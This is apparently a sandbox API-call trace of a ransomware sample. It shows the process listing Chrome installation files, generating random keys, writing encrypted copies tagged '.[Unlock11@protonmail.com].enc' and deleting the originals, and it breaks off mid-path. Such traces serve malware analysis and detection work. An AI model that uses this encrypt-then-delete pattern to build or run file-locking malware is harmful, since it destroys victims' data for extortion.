[0201.300] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0201.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0201.300] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3734098 [0201.300] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\default_apps\\external_extensions.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0201.300] GetFileType (hFile=0x334) returned 0x1 [0201.300] GetFileType (hFile=0x334) returned 0x1 [0201.301] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0201.301] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.301] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.301] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.301] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.301] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.301] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.301] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\external_extensions.json.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\default_apps\\external_extensions.json.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0201.302] GetFileType (hFile=0x39c) returned 0x1 [0201.302] GetFileType (hFile=0x39c) returned 0x1 [0201.302] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0201.302] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.302] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.302] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.302] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.302] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.302] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.305] CloseHandle (hObject=0x39c) returned 1 [0201.305] CloseHandle (hObject=0x334) returned 1 [0201.305] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\default_apps\\external_extensions.json")) returned 1 [0201.306] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\gmail.crx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\gmail.crx", lpFilePart=0x9bada4*="gmail.crx") returned 0x54 [0201.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0201.307] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\youtube.crx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\youtube.crx", lpFilePart=0x9bada4*="youtube.crx") returned 0x56 [0201.307] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe29849c2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f76d0 [0201.307] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe29849c2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0201.307] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51740cd4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="external_extensions.json", cAlternateFileName="EXTERN~1.JSO")) returned 1 [0201.308] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51740cd4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="external_extensions.json", cAlternateFileName="EXTERN~1.JSO")) returned 0 [0201.308] FindClose (in: hFindFile=0x10f76d0 | out: hFindFile=0x10f76d0) returned 1 [0201.308] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\extensions\\external_extensions.json")) returned 0x20 [0201.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0201.308] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0201.308] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\external_extensions.json", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\external_extensions.json", lpFilePart=0x9bada4*="external_extensions.json") returned 0x61 [0201.309] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0201.309] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\extensions\\external_extensions.json"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51740cd4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x63)) returned 1 [0201.309] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671f0c | out: pbBuffer=0x3671f0c) returned 1 [0201.309] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\extensions\\external_extensions.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0201.309] GetFileType (hFile=0x334) returned 0x1 [0201.310] GetFileType (hFile=0x334) returned 0x1 [0201.310] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0201.310] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.310] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.310] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.310] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.310] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.310] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.310] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\external_extensions.json.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\extensions\\external_extensions.json.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0201.311] GetFileType (hFile=0x39c) returned 0x1 [0201.311] GetFileType (hFile=0x39c) returned 0x1 [0201.311] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0201.311] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.311] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.311] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.312] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.312] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.312] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.313] CloseHandle (hObject=0x39c) returned 1 [0201.314] CloseHandle (hObject=0x334) returned 1 [0201.314] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\extensions\\external_extensions.json")) returned 1 [0201.315] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b7e268, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b7e268, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f77d0 [0201.315] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b7e268, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b7e268, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0201.315] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b7e268, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe06f2740, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1cc958, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="chrmstp.exe", cAlternateFileName="")) returned 1 [0201.315] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe263d5fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe263d5fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x99d99de0, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0xae7ae07, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="chrome.7z", cAlternateFileName="")) returned 1 [0201.316] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b7e268, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe06f2740, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1cc958, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0201.316] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b7e268, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe06f2740, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1cc958, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="setup.exe", cAlternateFileName="")) returned 0 [0201.316] FindClose (in: hFindFile=0x10f77d0 | out: hFindFile=0x10f77d0) returned 1 [0201.316] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\chrmstp.exe")) returned 0x20 [0201.316] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2738 | out: hHeap=0x2ad0000) returned 1 [0201.316] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0201.317] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\chrome.7z")) returned 0x20 [0201.317] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa29d8 | out: hHeap=0x2ad0000) returned 1 [0201.317] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\setup.exe")) returned 0x20 [0201.317] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2738 | out: hHeap=0x2ad0000) returned 1 [0201.317] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0201.317] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe", lpFilePart=0x9bada4*="chrmstp.exe") returned 0x53 [0201.318] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0201.318] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\chrmstp.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b7e268, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe06f2740, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1cc958)) returned 1 [0201.318] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367196c | out: pbBuffer=0x367196c) returned 1 [0201.318] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0201.318] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0201.318] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0201.318] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\chrmstp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0201.319] GetFileType (hFile=0x334) returned 0x1 [0201.319] GetFileType (hFile=0x334) returned 0x1 [0201.319] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0201.319] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.319] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.319] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.319] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.319] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.320] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.320] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\chrmstp.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0201.340] GetFileType (hFile=0x39c) returned 0x1 [0201.340] GetFileType (hFile=0x39c) returned 0x1 [0201.340] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0201.340] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.340] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.340] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.340] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.340] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.341] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.431] CloseHandle (hObject=0x39c) returned 1 [0201.431] CloseHandle (hObject=0x334) returned 1 [0201.431] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\chrmstp.exe")) returned 1 [0201.439] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z", lpFilePart=0x9bada4*="chrome.7z") returned 0x51 [0201.439] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\chrome.7z"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe263d5fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe263d5fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x99d99de0, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0xae7ae07)) returned 1 [0201.440] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671994 | out: pbBuffer=0x3671994) returned 1 [0201.440] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0201.440] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5670 [0201.440] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0201.440] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3733e18 [0201.440] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\chrome.7z"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0201.441] GetFileType (hFile=0x334) returned 0x1 [0201.441] GetFileType (hFile=0x334) returned 0x1 [0201.441] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0201.441] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.441] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.441] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.441] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.441] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.441] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.442] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\chrome.7z.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0201.442] GetFileType (hFile=0x39c) returned 0x1 [0201.442] GetFileType (hFile=0x39c) returned 0x1 [0201.442] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0201.442] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.442] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.443] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.443] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.443] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.443] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.169] CloseHandle (hObject=0x39c) returned 1 [0219.170] CloseHandle (hObject=0x334) returned 1 [0219.170] DeleteFileA (lpFileName="C:\\Program Files 